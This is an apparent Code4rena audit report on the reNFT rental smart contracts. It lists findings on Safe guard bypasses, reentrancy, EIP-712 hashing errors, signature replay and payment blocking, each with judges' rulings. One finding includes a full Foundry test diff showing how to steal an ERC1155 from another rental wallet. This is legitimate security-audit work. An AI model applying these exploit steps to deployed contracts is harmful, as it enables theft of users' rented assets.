Platform: Code4rena
Start Date: 08/01/2024
Pot Size: $83,600 USDC
Total HM: 23
Participants: 116
Period: 10 days
Judge: 0xean
Total Solo HM: 1
Id: 317
League: ETH
Rank: 5/116
Findings: 9
Award: $2,733.70
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: sin1st3r__
Also found by: 0xAlix2, 0xDING99YA, 0xR360, Beepidibop, EV_om, Lirios, a3yip6, alix40, hash, haxatron, israeladelaja, juancito, marqymarq10, zzzitron
88.0882 USDC - $88.09
Renter's can steal rented assets
The implemented guard doesn't block the setFallbackHandler
function call on the safe.
This allows the owner to set the rented asset as the fallbackHandler
. Following this, a call to the safe with calldata corresponding to the rented asset's transfer function will allow the attacker to transfer the asset to any address.
https://gist.github.com/10xhash/56ef3505b5ccb98d49283ae96ec92805
Manual Review
Block setFallbackHandler
in the guard
Access Control
#0 - c4-pre-sort
2024-01-21T18:13:33Z
141345 marked the issue as duplicate of #593
#1 - c4-judge
2024-01-28T18:24:26Z
0xean marked the issue as satisfactory
🌟 Selected for report: sin1st3r__
Also found by: Beepidibop, hash
389.8679 USDC - $389.87
Bypass if the NFT is transferred before hook token
Rental asset can be used before it's hook have been setup with onStart method in case of ERC777 tokens
Some hooks may be configured by invoking the onStart
method inside the validateOrder
callback from Seaport
try IHook(target).onStart( rentalWallet, offer.token, offer.identifier, offer.amount, hooks[i].extraData )
When filling a restricted order(orders with zones) in seaport:
This means that the rentalWallet will be having the rental asset before the consideration token is transferred from the fulfiller. ERC777 tokens allow callbacks to be setup when tokens are transferred from an account. This allows an attacker to use the rented asset before it has configured correctly.
https://gist.github.com/10xhash/da97ccf3ac90a130a879c1a7004c3521
Manual Review
Inform about this issue for hook tokens or always configure hooks in such a manner that onStart
provides more leniency while default mode is more restrictive.
Token-Transfer
#0 - c4-pre-sort
2024-01-21T18:21:08Z
141345 marked the issue as insufficient quality report
#1 - c4-judge
2024-01-26T18:26:36Z
0xean marked the issue as unsatisfactory: Insufficient quality
#2 - c4-judge
2024-01-27T17:45:12Z
0xean removed the grade
#3 - c4-judge
2024-01-28T19:43:39Z
0xean marked the issue as primary issue
#4 - 0xean
2024-01-28T19:48:00Z
#487 and this both discuss the non support for ERC777 tokens, while they expose different places that these tokens will facilitate re-entrancy, adding support for these token types would have to be done carefully and consider all potential paths for re-entrancy.
@c4-sponsor
#5 - Alec1017
2024-01-29T19:51:35Z
Our protocol has no plans to support ERC777 and we would consider this an out of scope issue
#6 - 0xean
2024-01-29T22:03:24Z
@Alec1017 thanks for the response. Is there any documentation on what token SeaPort supports?
ERC20 Token Support Fee on transfer and rebasing ERC20 tokens are not supported
All ERC20 tokens supported by Seaport are supported here.
Currently, I don't see anywhere that denotes these are out of scope, and while I feel like these types of issue and unfortunately according to the c4 docs
Generally speaking, all non-standard ERC-20 token issues should be included in a dedicated part of the analysis writeup, not submitted as high, medium, or low risk issues. The exception is an actual threat to the functionality of the protocol or funds thereof.
I think this is an actual threat to the assets of the protocol
#7 - c4-judge
2024-01-29T22:11:23Z
0xean marked the issue as selected for report
#8 - c4-judge
2024-01-29T22:11:26Z
0xean marked the issue as satisfactory
#9 - kadenzipfel
2024-01-29T23:51:46Z
Generally speaking, all non-standard ERC-20 token issues should be included in a dedicated part of the analysis writeup, not submitted as high, medium, or low risk issues. The exception is an actual threat to the functionality of the protocol or funds thereof.
I think this is an actual threat to the assets of the protocol
The only parties that can possibly incur risk in this circumstance are the renter and lender, of which they've both agreed to the terms which include usage of an ERC777 token. Furthermore, this risk only applies to the lack of execution of a hook which is included as part of the lending terms. Since the lack of existence of a hook executes the generic checkTransaction logic, which prevents malicious rental safe usage, no assets can be lost as a result of this. Therefore, this finding should not be included as part of this exception.
#10 - Alec1017
2024-01-30T14:35:40Z
@Alec1017 thanks for the response. Is there any documentation on what token SeaPort supports?
Seaport doesnt include ERC777 as one of the supported tokens if thats helpful: https://github.com/ProjectOpenSea/seaport-types/blob/25bae8ddfa8709e5c51ab429fe06024e46a18f15/src/lib/ConsiderationEnums.sol#L115
#11 - 0xean
2024-01-30T15:07:41Z
@Alec1017 thanks for the response. Is there any documentation on what token SeaPort supports?
Seaport doesnt include ERC777 as one of the supported tokens if thats helpful: https://github.com/ProjectOpenSea/seaport-types/blob/25bae8ddfa8709e5c51ab429fe06024e46a18f15/src/lib/ConsiderationEnums.sol#L115
Not super helpful because of this
// 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)
I am gonna leave this as M because that's the general consensus within C4 currently, although I think QA is more appropriate personally.
#12 - Alec1017
2024-01-30T15:38:23Z
oof yeah youre right, didnt even notice that comment about ERC777
#13 - ding99ya
2024-01-31T02:44:20Z
@Alec1017 Could you please take a look at issue #273 which marked as a duplicate of this? In that one attacker can steal any NFT by inserting malicious tokens. I don't think that one is same as this one and that one is definitely a high.
#14 - c4-judge
2024-01-31T08:59:05Z
0xean marked the issue as unsatisfactory: Invalid
#15 - c4-judge
2024-01-31T09:01:00Z
0xean removed the grade
#16 - c4-judge
2024-01-31T09:01:10Z
0xean marked the issue as satisfactory
#17 - c4-judge
2024-01-31T09:02:41Z
0xean marked the issue as selected for report
#18 - c4-judge
2024-02-01T11:15:15Z
0xean marked the issue as not selected for report
#19 - c4-judge
2024-02-01T11:16:18Z
0xean marked the issue as duplicate of #588
#20 - c4-judge
2024-02-01T11:16:23Z
0xean marked the issue as partial-50
#21 - c4-judge
2024-02-01T15:57:34Z
0xean changed the severity to 3 (High Risk)
#22 - c4-judge
2024-02-01T15:58:02Z
0xean marked the issue as partial-25
🌟 Selected for report: JCN
Also found by: 0xDING99YA, 0xpiken, ABAIKUNANBAEV, AkshaySrivastav, Audinarey, Aymen0909, DanielArmstrong, J4X, Krace, KupiaSec, Qkite, Ward, evmboi32, fnanni, hash, juancito, kaden, krikolkk, ravikiranweb3, rbserver, rvierdiiev, serial-coder, trachev, zach, zzzitron
15.9479 USDC - $15.95
Attacker can steal rental assets from other rental wallets
The stored rental order hash doesn't contain the rental wallet.
function _deriveRentalOrderHash( RentalOrder memory order ) internal view returns (bytes32) { ..... /* struct RentalOrder { bytes32 seaportOrderHash; Item[] items; Hook[] hooks; OrderType orderType; address lender; address renter; address rentalWallet; uint256 startTimestamp; uint256 endTimestamp; } */ // @audit missing order.rentalWallet return keccak256( abi.encode( _RENTAL_ORDER_TYPEHASH, order.seaportOrderHash, keccak256(abi.encodePacked(itemHashes)), keccak256(abi.encodePacked(hookHashes)), order.orderType, order.lender, order.renter, order.startTimestamp, order.endTimestamp ) ); }
Since an ERC1155 token can be present in multiple rental wallets, this makes it possible for an attacker to withdraw the rented token from a different rental wallet when stopping a rental order.
Apply the following diff and run forge test --mt testHash_StealFromOtherRentalWallet
Withdrawing from another rental wallet test
diff --git a/test/integration/StopRent.t.sol b/test/integration/StopRent.t.sol index 3d19d3c..3f646f3 100644 --- a/test/integration/StopRent.t.sol +++ b/test/integration/StopRent.t.sol @@ -6,6 +6,8 @@ import {Order} from "@seaport-types/lib/ConsiderationStructs.sol"; import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol"; import {BaseTest} from "@test/BaseTest.sol"; +import {Errors} from "@src/libraries/Errors.sol"; +import {console} from "forge-std/Test.sol"; contract TestStopRent is BaseTest { function test_StopRent_BaseOrder() public { @@ -65,6 +67,97 @@ contract TestStopRent is BaseTest { assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0)); } + function testHash_StealFromOtherRentalWallet() public { + // alice lends erc1155 + createOrder({ + offerer: alice, + orderType: OrderType.BASE, + erc721Offers: 0, + erc1155Offers: 1, + erc20Offers: 0, + erc721Considerations: 0, + erc1155Considerations: 0, + erc20Considerations: 1 + }); + + // finalize the order creation + ( + Order memory orderAliceBob, + bytes32 orderHashAliceBob, + OrderMetadata memory metadataAliceBob + ) = finalizeOrder(); + + // bob rents it + createOrderFulfillment({ + _fulfiller: bob, + order: orderAliceBob, + orderHash: orderHashAliceBob, + metadata: metadataAliceBob + }); + + // finalize the base order fulfillment + RentalOrder memory rentalOrderAliceBob = finalizeBaseOrderFulfillment(); + + // carol creates order for the same asset + createOrder({ + offerer: carol, + orderType: OrderType.BASE, + erc721Offers: 0, + erc1155Offers: 1, + erc20Offers: 0, + erc721Considerations: 0, + erc1155Considerations: 0, + erc20Considerations: 1 + }); + + + // finalize the order creation + +( + Order memory orderCarolDan, + bytes32 orderHashCarolDan, + OrderMetadata memory metadataCarolDan + ) = finalizeOrder(); + + // dan rents it + createOrderFulfillment({ + _fulfiller: dan, + order: orderCarolDan, + orderHash: orderHashCarolDan, + metadata: metadataCarolDan + }); + + + // finalize the base order fulfillment + RentalOrder memory rentalOrderCarolDan = finalizeBaseOrderFulfillment(); + + // speed up in time past the rental expiration + vm.warp(block.timestamp + 800); + + // stop the rental order + address attacker = address(0xa11ac7e4); + vm.prank(attacker); + + // when stopping the rental order of alice-bob, attacker passes in the rental wallet address of dan. this will clear the alice-bob order but take the funds from dan's rental wallet + rentalOrderAliceBob.rentalWallet = address(dan.safe); + stop.stopRent(rentalOrderAliceBob); + + // alice bob order is cancelled + assertEq(STORE.orders(orderHashAliceBob), false); + + // but erc1155 is actually moved from dans wallet + assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[0]), 0), true); + assertEq(erc1155s[0].balanceOf(address(bob.safe), 0), uint256(100)); + + assertEq(STORE.isRentedOut(address(dan.safe), address(erc1155s[0]), 0), false); + assertEq(erc1155s[0].balanceOf(address(dan.safe), 0), uint256(0)); + + // attempt to stop the carol-dan order reverts since the + vm.expectRevert(Errors.StopPolicy_ReclaimFailed.selector); + stop.stopRent(rentalOrderCarolDan); + + } + function test_StopRent_PayOrder_InFull_StoppedByLender() public { // create a PAY order createOrder({
By deafult, createOrder()
used in test-suite updates the tokenId. Avoiding this to create order for the same token so that stealing can be shown
diff --git a/test/fixtures/engine/OrderCreator.sol b/test/fixtures/engine/OrderCreator.sol index 6cf6050..9058b81 100644 --- a/test/fixtures/engine/OrderCreator.sol +++ b/test/fixtures/engine/OrderCreator.sol @@ -177,10 +177,11 @@ contract OrderCreator is BaseProtocol { ); // mint an erc1155 to the offerer - erc1155s[i].mint(orderToCreate.offerer.addr, 100); + //erc1155s[i].mint(orderToCreate.offerer.addr, 100); + erc1155s[i].mintTokenId(usedOfferERC1155s[i],orderToCreate.offerer.addr, 100); // update the used token so it cannot be used again in the same test - usedOfferERC1155s[i]++; + // usedOfferERC1155s[i]++; } // generate the ERC20 offer items
Adding tokenwise minting for easier testing
diff --git a/test/mocks/tokens/standard/MockERC1155.sol b/test/mocks/tokens/standard/MockERC1155.sol index a83cc76..4edc15a 100644 --- a/test/mocks/tokens/standard/MockERC1155.sol +++ b/test/mocks/tokens/standard/MockERC1155.sol @@ -22,6 +22,10 @@ contract MockERC1155 is ERC1155 { _tokenIds++; } + function mintTokenId(uint tokenId,address to, uint256 amount) public { + _mint(to, tokenId, amount, ""); + } + function mintBatch(address to, uint256 amount, uint256 numberOfIds) public { uint256[] memory ids = new uint256[](numberOfIds); uint256[] memory amounts = new uint256[](numberOfIds);
Manual Review
Include rentalWallet in the hash
en/de-code
#0 - c4-pre-sort
2024-01-21T17:55:47Z
141345 marked the issue as duplicate of #239
#1 - c4-judge
2024-01-28T20:50:03Z
0xean changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-01-28T21:04:55Z
0xean marked the issue as satisfactory
#3 - c4-judge
2024-01-30T11:18:07Z
0xean marked the issue as not a duplicate
#4 - c4-judge
2024-01-30T11:18:14Z
0xean marked the issue as duplicate of #385
#5 - c4-judge
2024-01-30T14:24:44Z
0xean changed the severity to 3 (High Risk)
1559.4717 USDC - $1,559.47
Lost rental assets for the lender and forever possession of the rented asset for the attacker on partial orders
The addRentals functions adds a rental order without checking if the same orderHash is currently active
function addRentals( bytes32 orderHash, RentalAssetUpdate[] memory rentalAssetUpdates ) external onlyByProxy permissioned { orders[orderHash] = true;
An attacker can make use of this to fill a partial order in half twice in the same block to produce the same orderhash. This will result in only half of the rented asset being take outable by the lender since the first call to stopRent
will clear the orderHash
from the order's mapping
https://gist.github.com/10xhash/4cef50612dfcb290bf232567769dfbae
Manual Review
If the orderHash
already exist, revert
Invalid Validation
#0 - c4-pre-sort
2024-01-21T18:05:57Z
141345 marked the issue as duplicate of #203
#1 - c4-judge
2024-01-28T19:07:10Z
0xean marked the issue as satisfactory
#2 - c4-judge
2024-01-28T20:51:39Z
0xean changed the severity to 3 (High Risk)
🌟 Selected for report: hash
Also found by: ladboy233, piyushshukla
608.194 USDC - $608.19
User's can flash steal NFT's circumventing any restrictions imposed on the NFT
When stopping a rental,the rented asset (ERC721/ERC1155) is transferred before the actual existance of the order is checked.
// @audit rented assets are transferred here _reclaimRentedItems(order); ESCRW.settlePayment(order); // @audit this is where the existance of the order is actually verified STORE.removeRentals( _deriveRentalOrderHash(order), _convertToStatic(rentalAssetUpdates) );
Since ERC721/ERC1155 transfers invoke the onReceived
functions in case of a contract receiver, it allows an attacker to create a rental order after stopping it first. This gives the attacker unrestricted access to the rented NFT.
https://gist.github.com/10xhash/a6eb9552314900483a1cffe91243a169
Manual Review
Check for the order existance initially itself in the stopRent function
Timing
#0 - c4-pre-sort
2024-01-21T18:07:07Z
141345 marked the issue as duplicate of #237
#1 - c4-judge
2024-01-27T16:44:01Z
0xean marked the issue as selected for report
#2 - 0xean
2024-01-29T10:37:37Z
would be good to get sponsor comment here. For context see previous comment chain here https://github.com/code-423n4/2024-01-renft-findings/issues/237#issuecomment-1913253755
#3 - Alec1017
2024-01-29T16:40:07Z
Tested out the PoC. I believe it to be a valid PoC that correctly demonstrates the concept.
However, the asset cannot be "stolen" since it must be given back to the rental safe by the time the "flash steal" ends.
So, I wouldnt say it results in direct loss of funds, or even temporary freezing of funds.
I will say that this does allow the attacker to interact with the asset in any way they see fit, which directly bypasses restrictions that the lender enables via hook contracts. I could see an example where a flash stolen NFT is used with a function selector on a contract to interact with some on-chain game, which the lender may have explicitly wanted to forbid.
But i'll leave the final decision on the severity to the judges on this.
#4 - c4-sponsor
2024-01-29T21:49:51Z
Alec1017 (sponsor) confirmed
#5 - c4-sponsor
2024-01-29T21:49:54Z
Alec1017 marked the issue as disagree with severity
#6 - c4-judge
2024-01-29T21:53:33Z
0xean changed the severity to 2 (Med Risk)
#7 - c4-judge
2024-01-29T21:54:02Z
0xean marked the issue as satisfactory
🌟 Selected for report: BI_security
Also found by: 0xPsuedoPandit, 0xpiken, ABAIKUNANBAEV, Beepidibop, CipherSleuths, EV_om, Giorgio, Hajime, J4X, KingNFT, KupiaSec, NentoR, SBSecurity, SpicyMeatball, Tendency, Ward, ZdravkoHr, boringslav, deepplus, hals, hash, haxatron, jasonxiale, juancito, pkqs90, plasmablocks, ravikiranweb3, rokinot, rvierdiiev, trachev, zaevlad, zzebra83
1.8029 USDC - $1.80
Incompatibility with EIP712 causing reverts for signatures made with EIP712 adhering libraries
According to EIP712, if a struct type references other struct types, the encoding should be sorted by name.
https://eips.ethereum.org/EIPS/eip-712
If the struct type references other struct types (and these in turn reference even more struct types), then the set of referenced struct types is collected, sorted by name and appended to the encoding. An example encoding is Transaction(Person from,Person to,Asset tx)Asset(address token,uint256 amount)Person(address wallet,string name).
This would mean when combining struct references, OrderFulfillment
will come before OrderMetadata
.
But when computing rentPayloadTypeHash
, the reverse ordering is used.
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L377-L400
{ // Construct the OrderFulfillment type string. bytes memory orderFulfillmentTypeString = abi.encodePacked( "OrderFulfillment(address recipient)" ); // Construct the OrderMetadata type string. bytes memory orderMetadataTypeString = abi.encodePacked( "OrderMetadata(uint8 orderType,uint256 rentDuration,Hook[] hooks,bytes emittedExtraData)" ); // Construct the RentPayload type string. bytes memory rentPayloadTypeString = abi.encodePacked( "RentPayload(OrderFulfillment fulfillment,OrderMetadata metadata,uint256 expiration,address intendedFulfiller)" ); // @audit incorrect ordering of ordermetadata and orderfulfillment // Derive RentPayload type hash via combination of relevant type strings. rentPayloadTypeHash = keccak256( abi.encodePacked( rentPayloadTypeString, orderMetadataTypeString, orderFulfillmentTypeString ) );
RentalPayload is signed by the protocol signer and will cause discrepencies.
Manual Review
Correct the ordering
Other
#0 - c4-pre-sort
2024-01-21T17:50:24Z
141345 marked the issue as duplicate of #239
#1 - c4-judge
2024-01-28T21:04:54Z
0xean marked the issue as satisfactory
🌟 Selected for report: BI_security
Also found by: 0xPsuedoPandit, 0xpiken, ABAIKUNANBAEV, Beepidibop, CipherSleuths, EV_om, Giorgio, Hajime, J4X, KingNFT, KupiaSec, NentoR, SBSecurity, SpicyMeatball, Tendency, Ward, ZdravkoHr, boringslav, deepplus, hals, hash, haxatron, jasonxiale, juancito, pkqs90, plasmablocks, ravikiranweb3, rokinot, rvierdiiev, trachev, zaevlad, zzebra83
1.8029 USDC - $1.80
Incompatibility with EIP712 causing reverts for signatures made with EIP712 adhering libraries
According to EIP712, dynamic values bytes and string should be encoded as a keccak256 hash of their contents.
https://eips.ethereum.org/EIPS/eip-712
The dynamic values bytes and string are encoded as a keccak256 hash of their contents
But in _deriveHookHash
, bytes values hook.extraData is encoded directly instead of taking its hash .
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L147-L153
function _deriveHookHash(Hook memory hook) internal view returns (bytes32) { // Derive and return the hook as specified by EIP-712. return keccak256( abi.encode(_HOOK_TYPEHASH, hook.target, hook.itemIndex, hook.extraData) ); } /* struct Hook { // The hook contract. address target; // Index of the item in the order to apply the hook to. uint256 itemIndex; // Any extra data that the hook will need. bytes extraData; */ }
Hook hashes are used in OrderMetadata hash which is signed by the order creator and will cause discrepencies.
Manual Review
Use keccak256(hook.extraData) instead
Other
#0 - c4-pre-sort
2024-01-21T17:50:22Z
141345 marked the issue as duplicate of #239
#1 - c4-judge
2024-01-28T21:04:50Z
0xean marked the issue as satisfactory
🌟 Selected for report: BI_security
Also found by: 0xPsuedoPandit, 0xpiken, ABAIKUNANBAEV, Beepidibop, CipherSleuths, EV_om, Giorgio, Hajime, J4X, KingNFT, KupiaSec, NentoR, SBSecurity, SpicyMeatball, Tendency, Ward, ZdravkoHr, boringslav, deepplus, hals, hash, haxatron, jasonxiale, juancito, pkqs90, plasmablocks, ravikiranweb3, rokinot, rvierdiiev, trachev, zaevlad, zzebra83
1.8029 USDC - $1.80
The orderMetadata hash doesn't include orderType
and emittedExtraData
fields of OrderMetadata.
function _deriveOrderMetadataHash( OrderMetadata memory metadata ) internal view returns (bytes32) { ....... // @audit missing fields // Derive and return the metadata hash as specified by EIP-712. return keccak256( abi.encode( _ORDER_METADATA_TYPEHASH, metadata.rentDuration, keccak256(abi.encodePacked(hookHashes)) ) ); /* struct OrderMetadata { // Type of order being created. OrderType orderType; // Duration of the rental in seconds. uint256 rentDuration; // Hooks that will act as middleware for the items in the order. Hook[] hooks; // Any extra data to be emitted upon order fulfillment. bytes emittedExtraData; } */ }
zoneHash
provided by the order creator which if follows EIP712 will result in a mismatch and cause revert.Manual Review
Include the missing fields in the hash
en/de-code
#0 - c4-pre-sort
2024-01-21T17:50:00Z
141345 marked the issue as duplicate of #239
#1 - c4-judge
2024-01-28T21:04:49Z
0xean marked the issue as satisfactory
45.3128 USDC - $45.31
Replay of server side RentalPayload signature across multiple orders
The fields of RentPayload hash currently doesn't include any parameter to uniquely identify an order. This server signs this hash inorder to allow a fill.
struct RentPayload { OrderFulfillment fulfillment; OrderMetadata metadata; uint256 expiration; address intendedFulfiller; } struct OrderMetadata { OrderType orderType; uint256 rentDuration; Hook[] hooks; bytes emittedExtraData; }
(RentPayload memory payload, bytes memory signature) = abi.decode( zoneParams.extraData, (RentPayload, bytes) ); ...... address signer = _recoverSignerFromPayload( _deriveRentPayloadHash(payload), signature ); if (!kernel.hasRole(signer, toRole("CREATE_SIGNER"))) { revert Errors.CreatePolicy_UnauthorizedCreatePolicySigner(); }
This allows the signature obtained from the server to be replayed across multiple order fulfillments. The team plans to reject signing for cancellation requested orders, but the above issue would bypass it.
Manual Review
Include orderHash
of the attempted filling order in the payload
en/de-code
#0 - c4-pre-sort
2024-01-21T17:52:38Z
141345 marked the issue as duplicate of #179
#1 - c4-pre-sort
2024-01-21T17:53:49Z
141345 marked the issue as duplicate of #239
#2 - c4-judge
2024-01-28T21:04:52Z
0xean marked the issue as satisfactory
#3 - c4-pre-sort
2024-02-02T08:40:10Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2024-02-02T08:40:32Z
141345 marked the issue as duplicate of #162
🌟 Selected for report: stackachu
Also found by: 0xA5DF, 0xDING99YA, 0xc695, CipherSleuths, EV_om, HSP, cccz, evmboi32, hals, hash, jasonxiale, juancito, kaden, lanrebayode77, rbserver
22.2973 USDC - $22.30
The payment of renter's can be delayed by the lender
In case of PAY order's the payment is held in escrow and released only after the pay order has been stopped. When stopping a pay order, the rented ERC721/ERC1155 is transferred back to the lender using the .safeTransferFrom method. In case the order creator is a contract (possible since seaport considers EIP-1271), it has the ability to reject such transfers.
// If the signature was not verified with ecrecover, try EIP1271. if iszero(success) {
This will make the order not stoppable delaying the lender's payment until the renter wishes.
https://gist.github.com/10xhash/45159f32123d74f4fa71a44ebd8c93a2
Manual Review
Keep an internal accounting mechanism from which user's can pull instead of directly transferring to the creator.
Token-Transfer
#0 - c4-pre-sort
2024-01-21T18:02:31Z
141345 marked the issue as duplicate of #65
#1 - c4-judge
2024-01-28T19:24:45Z
0xean marked the issue as satisfactory
#2 - c4-judge
2024-01-28T20:51:59Z
0xean changed the severity to 3 (High Risk)
#3 - c4-judge
2024-01-30T14:21:44Z
0xean changed the severity to 2 (Med Risk)
🌟 Selected for report: stackachu
Also found by: 0xHelium, 0xabhay, 0xc695, 0xpiken, DeFiHackLabs, EV_om, HSP, J4X, Krace, KupiaSec, Qkite, ZanyBonzy, albertwh1te, cccz, evmboi32, hals, hash, holydevoti0n, krikolkk, ladboy233, lanrebayode77, marqymarq10, oakcobalt, peanuts, peter, rbserver, said, serial-coder, sin1st3r__
2.7205 USDC - $2.72
Blacklisted renter will result in lost rental asset for the lender
For PAY orders, the payment held in escrow should be made to the renter when stopping the rent.
In case this payment fails, the entire call to stopRent
will fail which includes returning back the rented assets to the lender.
If any payment token is a black-listable one(like USDC) a blacklisted user can fulfill this order which will result in the lender loosing their rented asset. This can also happen if a currently clean renter gets blacklisted in future.
Manual Review
Maintain internal accounting and let the user's pull their payments out instead of direct transfer
Token-Transfer
#0 - c4-pre-sort
2024-01-21T17:36:04Z
141345 marked the issue as duplicate of #64
#1 - c4-judge
2024-01-28T20:49:24Z
0xean changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-01-28T21:00:47Z
0xean marked the issue as satisfactory